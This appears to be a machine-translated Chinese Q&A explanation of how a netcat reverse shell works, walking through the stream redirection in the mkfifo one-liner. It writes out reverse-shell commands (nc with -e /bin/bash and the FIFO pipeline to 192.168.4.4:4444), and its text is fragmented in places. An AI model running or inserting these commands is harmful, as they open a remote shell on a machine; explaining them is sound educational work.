有一种简单的方法可以连接两个系统并使用nc命令获取 shell,如下所示。
机器A听
nc -nlvp 4444
机器 B 连接
nc 192.168.4.4 4444 -e /bin/bash
但是-e选项不再存在,手册页建议按照以下方式执行命令
机器A听
nc -nlvp 4444
机器 B 连接
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f
我确实知道 mkfifo(未命名管道)背后的概念以及重定向和管道的工作原理。但这仍然让我感到困惑。
让我们在标准流中思考
stdin
一下stderr
。流
stdout
被nc
复制到/tmp/f
先进先出,这意味着它通过网络从另一台机器接收到的任何东西都会去那里。那么标准输入从何而来?从/bin/sh -i 2>&1
. 就nc
目前而言,它只需将该数据发送回另一台机器。那么,
/bin/sh -i
做什么呢?它调用交互式 shell - 您可以在其中键入命令并将输出打印到stdout
.user@host
提示通常(如果不总是)打印到,但我们需要将其stderr
发送到远程机器,因此2>&1
应用重定向以通过管道发送提示。好吧,我们不能用它stdout
来打印输出——shell 必须发送它才能nc 192.168.4.4 4444
通过网络发送。我们也无法阅读stdin
-cat /tmp/f
将使用它来打印您的示例中从机器 A 发出的任何命令。将命令传送到交互式 shell 并没有什么特别之处——当重新连接时stdin
,应用程序不会意识到这一点,除非它正在积极检查。简而言之,shell 从 fifo 读取命令,并通过网络将命令通过管道发送到
nc
. 从远程发送到本地 shell 的命令由nc
fifo 写入。如此循环继续下去。下面基于文本的数据流图也总结了相同的信息切线注意,请注意,制作这样的 3 命令管道允许我们以一种不那么复杂的方式一次性生成这些命令(尽管不能保证顺序)。如果我们要手动执行此操作并将所有内容作为前台进程,
nc
则必须首先启动以在一个 shell、cat
另一个 shellsh
和第三个 shell 中侦听。在我们准备它们的时间里,它会阻止对命名的 fifo 文件的读取或写入/tmp/f
,并且还会提出如何从cat
to/bin/sh
和 from/bin/sh
to发送输出的问题nc
,这也可能会添加更多的命名管道。使用管道执行三个fork()
调用,三个exec()
在一个 shell 中调用,并允许我们让它们都通过文件描述符进行通信;不管它们可能以何种顺序开始 - 这要快得多且不那么复杂,尽管在不知道管道、文件描述符和命令的行为方式的情况下不是最容易理解的。重要说明:传统
nc
as 协议不提供任何信息安全性 - 命令及其输出以纯文本形式通过网络传输,攻击者可能会修改机器 A 和 B 之间的数据。如果您确实希望有安全的方式来发布通过其 shell 向远程机器发送命令 - 使用ssh
. 该ssh
协议是专门为此目的而设计的。如果您确实打算使用安全协议,请使用openssl或ncat
.